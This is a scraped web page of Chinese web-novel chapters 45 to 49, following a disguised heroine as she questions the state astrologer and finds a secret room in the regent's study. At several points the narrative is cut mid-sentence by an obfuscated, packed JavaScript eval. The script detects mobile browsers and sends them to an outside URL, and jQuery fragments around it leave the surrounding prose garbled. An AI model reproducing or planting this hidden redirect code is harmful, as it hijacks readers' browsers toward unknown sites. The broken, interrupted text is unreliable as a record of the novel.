“听说是自己戳瞎的。”林有分用剑鞘指着宋雪砚的脖子,将叶袭宸护在身后:“王妃,属下护送您进摘星楼。” 叶袭宸一步步朝摘星楼走近,暮然回首,那宋雪砚已经坐在地上开始撒泼打滚了。 “阿宸呜呜呜呜呜……” 45. 第 45 章 符无虞正坐在桌前捧着龟壳子摇晃,几片白色的帷幕随风飘荡。影影绰绰,好似将人的距离刻意拉远了些。一头白色的发丝混迹其中,仿佛与其融为一体般。 不过四年过去,原先那一头乌黑亮丽的发丝已经尽数变作雪白。难不成在修道之人那里,时间的流逝要比寻常人更快吗。 叶袭宸走上前来,轻微的脚步声引起了符无虞的注意,她轻轻抬起头,眉峰雪白,见到来人,神情不变:“王妃。” 叶袭宸在符无虞的对面坐下:“路过此处,特来看望。” “路过?”符无虞低着眼睛,手在几枚铜钱上胡乱地摸着:“摘星楼地处偏僻,王妃要扯谎也该找个合适的。” 叶袭宸轻轻一笑:“国师果真聪慧,我的确不是路过,而是特来拜访。” 符无虞依旧没有抬头:“我与王妃素无来往,不值得王妃特地前来拜访。” “素无来往?”叶袭宸抢过符无虞面前的一枚铜钱,轻轻摩挲着:“若是素无往来,楚无暇又是谁?” 符无虞的神情有所松动,她终于抬起头来,却非为楚无暇,而是为铜钱:“王妃,此铜钱乃是我卜算专用,还请还给我。” “我若是不还,你又能如何?” 食指并中指夹住铜钱,叶袭宸唇角微勾:“今日你若是不说出其中缘由,这枚铜钱我是万万不会归还的。” 符无虞叹了一口气:“王妃为何为难我?” 叶袭宸加重了语气:“楚无暇。” “楚无暇?”符无虞捧起龟壳:“王妃若是想知晓此人,许告知我他的生辰八字,我方可卜算出来。” “生辰八字我自会去问,但你的确不认识楚无暇吗?” 符无虞摇头:“从未见过此人。” “可楚无暇却说几个月前与你在兰庭戏院久别重逢,受你所托才来到我面前。” “且不说这番话极像谎话,就说兰庭戏院。我已四年不曾离开过摘星楼,更何谈出宫去到兰庭戏院。” 叶袭宸微微一笑:“国师四年不曾离开摘星楼,但却是耳聪目明。” “这话从何说起?” “兰庭戏院确是在宫外,国师连摘星楼都不出,如何知晓?” 符无虞依旧面不改色:“我这里还是有人会来的。早前两三年,我便知晓此戏院的存在了。” “哦?”叶袭宸来了兴致:“何人?” 符无虞抬眸:“王妃进来时应该看到她了。” 叶袭宸默了片刻:“宋雪砚。” 符无虞轻轻点头。 叶袭宸又是默了片刻:“她的眼睛是怎么造成的?” 符无虞道:“两年前,宋相因为将我这里一幅叶帝叶袭宸的画像错认成了本人,误以为是鬼魂来索命了,吓得戳瞎双目了。” 叶袭宸问道:“什么画像?” 符无虞起身,进到里头,出来时已经拿了个画卷出来,在桌子上展开。 叶袭宸细细看着。 这是一幅黑白画像,并未上有任何色彩。画的是叶袭宸身骑战马,手执长枪浴血奋战时的情形。脸上沾染些许血迹,发丝随风飘扬。 叶袭宸还是第一次从旁人角度看到自己奋勇杀敌时的样子,觉得甚是新奇,左看右看,上看下看。 画风似有几分眼熟,与当初楚无暇带来的那两幅很是相像。叶袭宸恍然想到,自己似乎也并没有见识过符无虞的画作。 抬头问道:“这幅画是何人所绘?” 符无虞平静道:“从宋相处买来的,应是她亲手所画。” 这一句可谓是精彩。首先宋雪砚已经是疯癫之人,问也问不出个所以然来。其次叶袭宸也不知道沈道溦有没有见识过宋雪砚的画风,实在不好否认这不是她亲手所画。 叶袭宸想了想道:“既是宋雪砚亲手所画,又怎会被吓到。” 符无虞神情寡淡:“说得也是,既是宋相亲手所画,又怎会需我用银两购买。” 叶袭宸的食指轻点桌子:“不知我今日是否有幸见识到国师的画作?” 符无虞低笑出声:“王妃莫不是怀疑这幅画作是我亲手所画?” 被戳破了心思,叶袭宸也不觉尴尬,倒是爽快承认了:“不错。” 符无虞道:“王妃想错了。且不说我不会作画,就是会作,我也从未见过叶帝在战场上的英姿。” 叶袭宸笑了起来:“哈哈哈说得极是。” 她算是看出来了,符无虞就不想说这件事。既然这样,她还待在这里做什么,不如离去。况且来了半天,连杯茶水都没有。 叶袭宸早觉口干舌燥了,她舔了舔唇角:“既是如此,我便不打扰了。” 她才刚起身,一个白色的身影便跌跌撞撞闯了进来。 是宋雪砚。 她直接扑到了叶袭宸身上,紧紧地抱着不撒手。 “阿宸呜呜呜呜……阿宸……阿宸……” 叶袭宸身子僵硬。 符无虞将宋雪砚从叶袭宸的身上扒拉下来,从衣袖中掏出一粒黑色的东西喂给宋雪砚。她的状态立即安分下来,安静地依偎在符无虞的肩头,似是睡着了。 “你喂的什么?” “丹药。”符无虞道:“自己炼制的,安心定神。” 叶袭宸看着血泪一点一滴从宋雪砚的脸上淌下来,眉头微微皱着:“她行动自如,似乎不像是瞎了。” “王妃若是早两年来,就不是这个样子了。”符无虞轻轻拍打着宋雪砚的肩膀,似是在哄睡小孩子一般:“她只在摘星楼附近晃悠,若是出了这里,她寸步难行。” “她的眼睛找人看过吗?”叶袭宸道:“还有没有复明的可能?” “有倒是有,但她有心结,一时半会儿复明不了。” “心结?” “已死的叶帝叶袭宸。” “既是如此,让我带她回摄政王府可好?”叶袭宸抿了抿唇角:“我在府里闲来无事,正好可以照顾她。” “好倒是好,但她的疯癫之症我已经在医治。”符无虞道:“不出几日便可恢复,若是此时断药,实在可惜。” “那你与她一同来摄政王府居住可好?横竖也没有几日。” 符无虞摇头:“四年间我从未离开过摘星楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104903|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,此一生怕是再也出不了了。再者,摄政王也断然不会同意宋相进府。” “何以见得?” 符无虞道:“那就请王妃回去问问,等摄政王同意,宋相的疯癫之症怕是也已经治好了。” “一言为定。” 叶袭宸出来摘星楼的时候,唐锶谐已经在外等候多时。一袭青衣站在外面的桃花树下,花瓣随风轻轻落下,甚至有几片落在了他的肩膀上。 居然还换了身衣服。 叶袭宸走过去,轻轻拍了拍他的肩膀:“你早来了?” 唐锶谐的唇角勾着:“刚来一会儿。”他看向叶袭宸身后的摘星楼:“还顺利吗?” 叶袭宸点点头:“我想与你商量件事情。” “何事?” “我想带宋雪砚回摄政王府。” 唐锶谐的眉头不自觉皱起来:“此举何意?” “毕竟也是一代名相,落到这步田地实在叫人惋惜,我想……” 叶袭宸的话还未说完,唐锶谐转身便走。 “……” 叶袭宸并未追上去,只是立在原地看着。果不其然,唐锶谐没走两步就停了下来。他闭了闭眼睛,深深地吸了一口气,走回到叶袭宸身旁,扯了她的胳膊往前走。 叶袭宸任由他拽着,身后跟着没眼看的林有分。 他算是看出来了,王妃是故意给摄政王找不痛快。摄政王的痛点是什么,她就刻意去揭露什么。先是叶袭宸,再是花疏玉,最后是宋雪砚。幸亏叶袭宸的尸体不翼而飞了,而且也已经过去两年了,要不她高低也得给叶袭宸收个尸,再请几位和尚道士来做做法,超度超度。 摄政王也是色厉内荏,生了一通气却又走回来。要是换了别人,撒手不管算是好的,直接砍头了事得了。 叶袭宸坐上了回府的马车,颠簸着朝宫外驶去。 唐锶谐依旧闭目养神,双手搭在膝盖上,五指收拢,似乎在忍耐着。 假惺惺。 叶袭宸双手环胸靠在马车上,眼前不断浮现宋雪砚那张流淌着血泪的面庞,不由自主地叹了一口气。 “道溦,你是故意为之吗?”唐锶谐睁开了双眼:“你明知我最是厌恶宋雪砚,为何要提议将她接进摄政王府?” 叶袭宸心底一阵翻江倒海。 嘴里说着厌恶,最后还不是借着她的帮助打进皇城了。 装什么呢。 又当又立的伪君子。 “为什么?”唐锶谐攥住叶袭宸的手腕,目光灼灼地看着她,像是要看穿她的心思似的。 “你与她素无交情,到底是何原因?” 叶袭宸冷笑一声:“你是听实话还是假话?” “自然是实话。” “因为看她可怜。” “世间可怜之人众多,你为何只单单怜悯她?” “那我也问你一句,皇室成员众多,花疏玉比花疏叶更有雄才大略,你为何只单单看中了花疏叶?” 唐锶谐抿紧了唇角:“这根本不可同日而语。” “有何不可?”叶袭宸嗤笑一声:“男女有别?” 46. 第 46 章 唐锶谐委实被气得不轻,还未到王府便下车离去,但还是找了一个蹩脚的借口:“我还有事,你先回府吧。” 叶袭宸也不想惯着他,假装看不出地点了点头,还不忘叮嘱一句:“别太劳累了,记得早些回府。” 唐锶谐的神色有些缓和,点了点头。 林有分驾驶着马车回了摄政王府,叶袭宸回了自己的暖雪阁不过才坐下喝了一口茶,就要出去。 若云有些心疼:“主子,你的身子还未痊愈,如此奔波,奴婢看了心疼。” 叶袭宸捏了捏若云的脸颊:“如果心疼的话,就与我一同去吧。” 主仆二人来到了唐锶谐的书房,门口的小厮拦着不让进。叶袭宸冷了脸色:“你可认识我是谁?” 小厮低着头:“您是王妃。” “既然知道我是王妃,为何还要阻拦?”叶袭宸大喝一声:“退下!” 小厮吓得不轻,再也不敢阻拦,只能放叶袭宸进去。叶袭宸轻哼一声,正要走进去,倏地想起了什么,叮嘱若云道:“你在这里守着,若是摄政王回来了,记得通报一声。” 若云心里明白了几分,点头应道:“是。” 叶袭宸进了唐锶谐的书房。 里面摆设干净整洁,简单却面面俱到。一面山水屏风将屋子切割成两部分,里头是休息的床榻,常年弥漫着一股子龙涎香的味道。外头是日常活动的地方,中央有座小巧精致的暖炉,常年炭火不息。暖炉不远处就是书桌,桌子两旁有两棵极大的盆栽,看上去绿意盎然。 这两样东西分外怪异。 如今已是盛夏,外头的蝉鸣响得厉害。唐锶谐身子不弱,却在屋内摆了这炙热的火炉。饶是叶袭宸这具身体再虚,也不由得冒出些许热汗。 然如今不是研究这些的时候,她故意激怒唐锶谐,就是为了有机会进入到这书房来,一探究竟。 叶袭宸首先将视线放在了唐锶谐的书桌上,细细地翻看着他的文书。这里面还夹杂了不少有关朝中事务的折子,近来南方洪涝严重,大水漫灌,农田被冲,道路被毁。 叶袭宸叹了一口气,匆匆略过去。再翻却是又一本折子,东南沿海的海寇越发猖獗,劫掠渔船,打伤渔民。 “……” 叶袭宸实在是翻不下去了,恐怕再翻也只会是奏折,根本不会有涉及唐锶谐日志之类的东西。 官宦人家一般都有暗室之类的,唐锶谐应该也不意外。叶袭宸摆弄着桌子上的小物件,诸如茶杯之类的,然而最终却是无功而返。 她又打起那两个盆栽的注意了,然而这具身体的力量尚且还不足,叶袭宸实在挪动不了。她累得满头大汗,喉头那股子腥甜的味道又涌上来了。 什么东西! 叶袭宸愤愤地踢了一脚该死的盆栽,然而除了把脚弄痛什么进展也没有。她叹了一口气,目光又放在屋子中央的暖炉上了。 里面还烧着木炭,噼里啪啦作响。叶袭宸拿着铁棒子戳了戳,除了弄得满脸灰什么也没有。她顿时有些泄气,坐在椅子上打算直接等唐锶谐回来得了。 说不准还能从他的面部表情上寻到一些蛛丝马迹。 若云说得不错,自己的身子还没有恢复,如今折腾了半天已经有了些许困意。视野已经变得有些模糊,视线无意识扫过屋内的摆设,最终停留在屏风另一侧胡桃木立柜上的一对儿神位牌上。 叶袭宸记得这个,成亲的时候拜高堂见过,应是唐锶谐父母的。但上面却没有刻字,委实是有些怪异。 叶袭宸本想起身去看,无奈眼皮子沉重得厉害,更何况外头若云也在高声提醒:“奴婢见过摄政王。” 书房门口。 小厮瑟瑟发抖,一旁匆匆赶来的林有分也有些脊背发寒。唐锶谐身后跟着外出回来的谢有缘,见若云在这里,不由得蹙眉:“你不在暖雪阁里伺候王妃,待在本王书房门口做什么?” 若云抿了下唇角:“王妃因为与摄政王吵了架,心中万分难过,心生歉意,特来此等候摄政王。” “道溦她……”唐锶谐几近失声,急急地进了书房。 林有分:“……” 摄政王的书房从来不肯让人轻易踏入,林有分解个手的功夫叶袭宸就不在暖雪阁了,长辞支支吾吾不肯说实话,他找了一圈儿才勉强找到摄政王的书房来,不成想自己前脚刚到,摄政王后脚就来了。 原本还担心自己会因此挨一顿骂,不成想若云这小丫头当真是会说话,三两句就把摄政王迷成了呆子。 林有分走到谢有缘跟前:“果真是卤水点豆腐,一物降一物。” “嘁。”谢有缘不以为然。 唐锶谐进到书房的时候,却见叶袭宸已经支着脑袋依靠在椅背上睡着了。他轻手轻脚走过去,瞥见叶袭宸安静的睡容,面上不由得多了几分柔和。 “是等我等得睡着了吗?” 唐锶谐弯腰将叶袭宸抱进屏风后面的床榻之上,仔细给她掖好被子。叶袭宸睡得很是香甜,呼吸匀称。 看着看着,唐锶谐情不自禁地伸出手,然而在即将触碰到她的脸颊之际,脑海中不由得浮现出一张属于叶袭宸的面庞。她勾着唇角,语调微扬:“将军。” ! 唐锶谐如梦初醒,手也立即收了回来。他不敢再去看床榻之人的面庞,别过脸去,神情复杂,片刻之后,几乎是逃也似的离开了。 叶袭宸醒来的时候已经在暖雪阁了。她翻了个身,手指头烦躁地挠着枕头。 若云端着一碗苦涩的汤药从外头进来,一股子苦涩的味道在屋内蔓延开来。 嗅到这股味道,叶袭宸喉头的腥甜是压下去了,可是嘴巴里却不由自主地涌上来酸意。 若云道:“主子,该吃药了。” 叶袭宸叹了口气,坐起身来,接过若云递过来的药碗,缓缓用汤匙搅动着。 若云道:“今日我回了一趟沈府,给老爷带了不少补品,还特意去看了二小姐。” “她现在如何?” “看上去比先前好多了。” “怎么个好法?” “二小姐屋子里没有酒味儿了,也换了一身干净 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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彼时长辞穿了一身青蓝色衣衫,像是哪家跑出来偷玩的小公子。他进了兰庭戏院,并未向周盈表明身份,而是径直来到了最东头的一间卧房。 左等右等不见楚无暇来,却把周盈等来了。 “小公子这是在等人?” “是。” “是否方便向我透露,说不准我能帮到小公子。” 长辞道:“是个浪荡公子哥,手持折扇,生有一双桃花眼。” 周盈仔细想了想,唇角不由得上扬,“小公子说的可是楚无暇楚公子?” “大抵是。”长辞道:“周老板可曾见过他?” “他如今就在戏台子上唱戏,怕是得稍等片刻。” “好,我就在这里等他。” 长辞等到晌午,楚无暇才姗姗来迟。妆容还没卸,面上的笑意也十分勾人。然而在看到屋内只有长辞一人后,笑意顿时变淡了。 “你家主子呢?约我前来却不露面,是何道理?” 47. 第 47 章 楚无暇坐于座位上,拿着沾湿的帕子仔仔细细将脸上的妆容擦掉。 坐在对面的长辞不由得抽了抽唇角,还从未见过画得如此妖娆的男子,主子怎么会看得上这种人。 楚无暇敲了敲桌面,再次问道:“你家主子呢?” “我家主子被摄政王看着,无法脱身。” 楚无暇轻轻扬手,分明没有去看水盆的位置,脏帕子却准确无误地被扔在了水盆里,溅了一地的水。 “既然无法脱身,还叫我做什么?” “我家主子说了,叫你不要在外头惹事生非。” “惹事生非?”楚无暇甚是觉得奇怪:“我做什么了?” “她说最近摄政王或许会对兰庭戏院很是关注,叫你小心行事,不要惹事生非。” 楚无暇松了口气:“原来是警告。但这句话不该对这里的老板说吗,对我说什么?” “主子说,这里的老板都是安分守己的人,就你不安分。” “我不安分?”楚无暇低低地笑出了声音:“我若是不安分,你家主子这个亲怕是成不了。”他不满地哼了一声:“自从成了亲,你家主子就像是大门不出二门不迈的小媳妇似的。先前我还担心洞房花烛夜会不安宁,不成想竟是这么顺利。” “……” 长辞有些理解若云为什么这么看不惯楚无暇了,这厮真是祸从口出,难怪主子还要特意来叮嘱他一下。但既然这么怕他泄露了什么秘密,为什么要让他在这么个显眼的地方呆着呢。 就在长辞愣神的时候,一只手倏地放在了自己的肩膀上。长辞一惊,想要挣脱,不想楚无暇却是死死地抓着,不让他动弹。 长辞冷声:“做什么?” 楚无暇微微一笑:“试试你的功夫。” 长辞直接出手,攻击楚无暇的腋窝。楚无暇倏地一惊,急忙缩回手。他看着这个只到自己肩膀上的小子,哼笑出声:“果真是你家主子调教出来的,总是这些出人意料的法子。” 说完,楚无暇又是攻过来,长辞直接拍了桌子。 只听咔嚓一声脆响,桌子登时裂作两半。长辞抄起一块板子,犹还带着木刺,直接抽向楚无暇的腰身。楚无暇一个翻身折回去,袖中掉落一把折扇,他灵活地接住,把玩着扇子,将地上惨不忍睹的桌子直接扇向长辞。 长辞眼花缭乱,只能凭借本能左右挥舞着手里的武器,一块一块将板子打掉。楚无暇趁机再次攻过来,长辞躲闪不及,被一把看似轻飘飘的折扇拍住了肩膀。 喉痛一股子腥甜涌上来。长辞单膝跪地,猛地吐出一口鲜血。楚无暇居高临下地看着,冷哼一声:“原来也不过如此。也难怪了,她如今被困宅院,能养出什么好货色来。倒不如直接在洞房里动手,好过现在什么也做不了。” 长辞支持着站起来,擦去唇角的血迹:“我家主子目前确是什么都做不了,但你却是可以做些什么。” “此话何意?” “倘若事事都要我家主子出面,你我还有何用武之地?” 此话一出,楚无暇恍若才认识面前的这个少年一般。他展开折扇,轻轻扇动几下,神情不屑:“这句话是你说的?” “是我家主子说的。” “果然。”楚无暇啪地一声合了折扇:“这种话也就只能她才能如此恬不知耻地说得出来。”他转了转眼珠子,似乎才明白过来:“你家主子将我一军是不是。” “我家主子说了,话说到这里,你应该能明白了。” 楚无暇的眼眸中闪过一丝精明:“可是如此做的话,你家主子前段时间的努力不是白费了。” “我家主子说有得有失。” “这事你与戏院的老板说过了吗?” “我们在此打得翻天覆地,却无人进来阻止,你不觉得奇怪吗?” 楚无暇点了点头:“说得有理,不过……”他上上下下打量着长辞:“我明白了你家主子要做什么,但是你明白了吗?” “我家主子说我不需要明白。” “口口声声你家主子,你了解你家主子到底是个什么样的人吗?” “我家主子说我不需要了解。” “……” 楚无暇彻底无话可说了,只能招手让长辞离开。长辞点点头,然而才打开房门,就与老板周盈撞了个面对面。 “周老板。”长辞谦恭有礼:“我身上没有带钱,所坏之物的损失,请老板去摄政王府讨要。” “摄政王府?”周盈笑了起来:“我岂敢去讨要?既然阁下是摄政王府的人,我们戏院便只能自认倒霉了。” “我家主子说老板可以不自认倒霉。” “你家主子?” 长辞提示道:“先前我家少爷被困于此,我家主子正巧在此,动之以情,晓之以理,周老板才放过了我家少爷。” 周盈心内了然,视线越过长辞看向屋内的楚无暇。楚无暇耸了耸肩膀,神情很是无辜:“看着我做什么?我可不是什么少爷,我师姐也不是什么小姐主子。” 周盈若有所思。 既然不是楚无暇和符无虞,那便是沈秋实和沈道溦了。如今沈道溦嫁给了摄政王,她却说让自己去摄政王府要账,难不成是要对自己说些什么。 周盈点头:“我明白了,容我多问一句,我该何时登门拜访?” “主子说了,周老板可与楚公子商议时间。又或者,由沈四小姐登门更为合适。” 这话不假,沈四小姐乃是沈道溦的妹妹。她上门,更为合理,而且摄政王也不会多作怀疑。 见周盈已然明白,长辞正要离开,楚无暇却在身后道:“前几日我在桥洞子下找到了一个算命先生,好像认识你。” 长辞恍若什么都没听到,停都没有停一下。 “……” 叶袭宸万万没想到,连这个什么算命先生的下落楚无暇都与长辞说了,更是没想到长辞居然没有半分隐瞒,居然也一五一十地和自己说了。 “主子。”长辞低下了头道:“长辞有一事不明。” “何事?”叶袭宸道:“不必拘谨,有话直说。” 长辞抬起了头:“是主子授意楚公子去查我的身世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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唐锶谐闭了闭眼睛,又是叹了一口气后道:“我知道你想说什么,皇上不上朝的确是不合理,我也曾多次劝过,但是无济于事。” 叶袭宸淡淡地应了一声:“原来如此,摄政王辛苦了。” “……”唐锶谐再是叹了一口气:“我知道你还想说什么,无论是当初花疏玉掌权还是叶袭宸称帝时,朝中都没有这般情形。但是当时朝中动荡,反对之声激烈,不利于民生。” 叶袭宸轻轻地笑了一声:“摄政王说得极是。” “……” 这次唐锶谐没有再叹气了,只是伸出手轻轻卧了一下叶袭宸的肩膀:“道溦,你若是还有话,就请直说。” 叶袭宸抬头,语出惊人:“既然摄政王做了皇帝该做的事情,为何你不登基称帝呢?” 48. 第 48 章 谢有缘和林有分在屋外切磋拳脚。 谢有缘跃跃欲试:“来吧,让我看看你的拳脚长进了多少。” 林有分捏了捏拳头:“这句话说得你好像是长辈似的。” “长兄如父,你懂不懂。” 谢有缘一拳打过来,林有分偏头躲过,双手紧紧攥住谢有缘的手臂。 “谁说你是兄长了,谁承认了。” 谢有缘被林有分禁锢住,动弹不得。他挣扎着一脚扫向林有分的下盘。 “摄政王为我们取名有缘有分,有缘在前,你懂不懂。” 林有分被绊了个大跟头,两人一同摔在地上,却都死死缠住对方不松手,就连站起来也是互相扯着衣襟。 “这是什么道理。”林有分一脚踹向谢有缘的腹部,“是有缘无分才对。” “什么有缘无分?”谢有缘也不甘示弱,踹在林有分的下巴上:“摄政王如今和王妃喜结连理,胡说八道什么。” 林有分沉默了。愣神的功夫被谢有缘一脚踢在脖子上,他踉跄了好几下,最后跌倒在地,口吐鲜血。 “你这功夫退步了啊。”谢有缘把林有分拉起来:“是不是跟着王妃太悠闲了。也是,整天搞什么告密当叛徒的事情,不退步才怪呢。” “少来这一套,要不是我走神了,你能不能赢过我还说不定呢。”林有分捏了捏脖子,直接在谢有缘的胸膛上砸了一拳:“你力气够大的。” “那是。”谢有缘洋洋得意:“前几日我遇到了一个魁梧大汉,很合眼缘,我俩立即就结拜了。你说每天和我这个兄长练拳脚,我的力气能不变大吗。” “魁梧大汉?”不知怎么,林有分的眼前浮现出当年与叶袭宸叫板的那位仁兄,不由得问道:“有多魁梧,及得上当年在军营中的程重锦吗?” “程重锦是什么模样我都忘了。”谢有缘道:“再者,他不是失踪了吗?当年跟着叶袭宸的几个副将都死了,就他在城破的时候临阵叛逃。这么一个宵小之辈,我记得他干什么。” “也是。” “说你呢,怎么这么弱。”谢有缘道:“看来我得向摄政王请求一下,把你从王妃身边调回来。” “说得你自己好像是个人物似的。” 谢有缘不乐意了:“你这个人怎么不知道好歹。” 就在两人争吵的时候,唐锶谐满脸僵硬地从屋内出来了,一言不发地往外走去。 谢有缘愣了愣,立即跟了上去。 林有分看着两人离开的背影,摇了摇头。 八成是王妃又惹摄政王不开心了。再这么惹下去,摄政王怕是要气成田鸡了。 林有分正想着,背后倏地覆上来一只手。他生生压抑住了直接来个过肩摔的冲动,回头对王妃行礼。 叶袭宸抬手:“不用总是行礼。摄政王呢?” 林有分道:“应是去了书房。” 叶袭宸道:“刚吃过早饭便批奏折,对身子不好。” “王妃说得是。”林有分心里吐槽了一句,要是您少气他,他的身子应该会更好些。 “前几日我去兰庭戏院的事情你告诉摄政王了吧。” 林有分身子一僵。 王妃转变话头也太快了,寻常人问过之后不该直接奔向书房吗。而且过了好几日才问这件事,原先倒是已经做好了被王妃兴师问罪的准备,然而现在都忘得差不多了。如今他是一点儿准备都没有,以至于心思全都写在脸上了。 “是。” 叶袭宸微微一笑:“告诉得好。”她拍了拍林有分的肩膀:“走,今日与我再去一趟。” 林有分不敢置信地眨了几下眼睛。 王妃到底耍的什么路数。先是将摄政王气得饭都吃不下去了,又问摄政王在哪儿。如果听到这里你以为她是要去安慰摄政王,那就大错特错了。 她是想要大张旗鼓地再闹一场。 马车已经备好,依旧是林有分驾车,且只有他一个随从。他不禁思考,若云可是王妃的贴身丫头,可近几次出门王妃都没有带她。长辞应该也算是王妃的侍卫,可是也已经几次没有伴王妃左右了。 林有分不禁问出了自己的疑问。 “我不需要那么多人跟着,有你在,他们就可歇息了。” 听起来王妃是个喜欢独来独往的人,这不由得让他想起了叶袭宸叶将军,她活着的时候似乎从来不喜有随从,每回出去办事都是只身一人。自然,这完全建立在本人身手不凡的前提下。 林有分撇嘴。 看来王妃真是疯了,连这一点也要学。 兰庭戏院。 戏台子上三两戏子浓妆艳抹,画得跟妖精似的。嗓子也是尖细得不得了,发出的声音直叫人心底发颤。 叶袭宸迈步入内,寻了个座位坐下,饶有趣味地看着上头的表演。 “悔叫小姐觅良夫,无人知我相思泪。” 戏子这么唱着,竟真真流下了几滴眼泪。妆容估计是不防水,居然生生化出几道泪痕。 “好!” 叶袭宸这么叫了一声,惹得旁人都纷纷鼓起掌来。林有分也跟着拍了几下,觉得甚是怪异。 前几日他跟着王妃来过这里,当时台子上的戏子还没有如此花枝招展。难不成是来了新人,王妃是特意来看他的? 一场戏唱到了晌午,叶袭宸和林有分打道回府。林有分将叶袭宸送回暖雪阁后,便要去向摄政王汇报。 叶袭宸露出了微笑,吩咐长辞去外头看着。若云早已备好了饭菜,叶袭宸吃了不过几口,长辞就来报,说是摄政王气冲冲出去了。 “好!” 叶袭宸叫了一声,和在戏院里时叫的情绪不同,这一声是真情实意的。她立即去了唐锶谐的书房,和昨日一样叫若云在外头守着,而后直奔那两块牌位。 果然有机关。 其中一块牌位稍微一动,一阵石门打开的声音就传了过来。叶袭宸环顾四周,才发现原来靠床的墙上挂着一副山水画,掀开山水画后就是一道门。 叶袭宸钻了进去,穿过一条长长的窄道后是一个阴暗的暗室。镶嵌在墙上的火把虽然呈现暖黄色的光芒,然而却叫人感觉不到任何温度。 里面陈设与外头别无不同,桌上堆积着没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17120930|192012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处理完的折子。她走过去翻了几下,折子看起来有些年头了,里头居然有废太子的名字。翻到下面,依旧还是与废太子有关。 叶袭宸放弃了翻折子,靠在桌前仔细打量着这个暗室,才发现墙上挂着一把老旧的破剑。她上前将其取下来,拔出来看。 剑身已经断裂,叶袭宸只抽出来一半,剑鞘里面也没有剩下的剑尖。而留下的半截剑身上似乎有刻字,她仔细辨认。 “花、疏、玟。” 叶袭宸瞳孔震惊。 这是废太子花疏玟的剑。 叶袭宸神情复杂。 按照唐锶谐与花疏玟的关系,唐锶谐收藏花疏玟的断剑并无不可。但是若是再结合桌上的那些尽数与废太子有关的折子来看,这件事情就有些诡异了,而且是诡异之外的诡异。 这间暗室为何没有一幅花疏玟的画像? 唐锶谐为何一直戴着面具,又为何说他这副相貌会引起不必要的纷争? 沈道溦与花疏玟有婚约,先前唐锶谐一直不肯接受沈道溦,如今又为何接受了? 唐锶谐为何会像花疏玉一般,做着皇帝该做的事情,任劳任怨,但却迟迟不肯称帝,将花疏叶惯得如同孩子一般? 种种线索在叶袭宸的脑中交缠,一个个疑问仿佛在瞬间得到了解答,她慢慢理出一个真相,但这太过匪夷所思,且一切都是她的猜测。 她需要一个最直接的证据。 画像。 她想知道花疏玟到底是何模样。 兰庭戏院。 楚无暇正在戏台子上唱戏,故意将嗓子捏得又尖又细。下面一片好评,巴掌声险些将屋顶掀翻了。 几场戏下来,他的嗓子已经又红又疼又肿,险些说不了话。楚无暇气得捶桌,都是叶袭宸捣的鬼,下回见面定要讨个好处。 铜镜中映出楚无暇白得像鬼的面庞,他瘪着嘴巴,心中实在苦涩。 原来这么个兰庭戏院子是叶袭宸的地方,难怪他头一遭来帝京就被绑来了这里。叶袭宸本人极其彪悍,她开的戏园子自然也彪悍。 可是实在没有法子,谁让自己这么倒霉,才下山就碰到叶袭宸了,从此一发不可收拾,只能为其鞍前马后了。 而若想更好地为其鞍前马后,兰庭戏院是个不错的地方。毕竟人家现在出阁了,不如先前那么方便了。 而若想长久地待在兰庭戏院,只能成为戏子了。幸好现在可以卖艺不卖身了,否则他才不会这么快妥协。 想起自己头一遭来兰庭戏院时还在负隅顽抗,如今倒是水灵灵地接受了。 楚无暇不禁一阵郁闷。 戏子也不是那么好当的,自己唱腔不太行,但是胜在有一副好皮囊,有的是人买单。 方才自己的扮相倒是被叶袭宸看到了,也为自己叫了一声好,可楚无暇听得出来,那一声好极其敷衍。 楚无暇擦着自己脸上胭脂水粉,心想日后定要叶袭宸真心实意地为自己叫个好。然这个念头刚冒出来没一会儿,屋门便被人从外面强硬地推开。 一个带有银白色面具的青衣公子面无表情地站在门外。 49. 第 49 章 当叶袭宸在摄政王府内看到楚无暇的那一刻,心里是有些复杂的。她想过唐锶谐会回来质问,但是却是没想到唐锶谐居然将人带了回来,专门唱戏给自己听。 唐锶谐已经命人搭了个戏台子,楚无暇正在上头花枝招展地唱戏,叶袭宸和唐锶谐坐在下头听。 桌子上摆了几碟花生米和瓜子。 唐锶谐依旧是一袭青衣,他似乎格外偏爱这个颜色。银白色的面具在阳光的反射下闪着冷冽的光芒,嗑瓜子的声音都比平时暴力不少。 呃。 其实叶袭宸也没见过他平时嗑瓜子的样子。 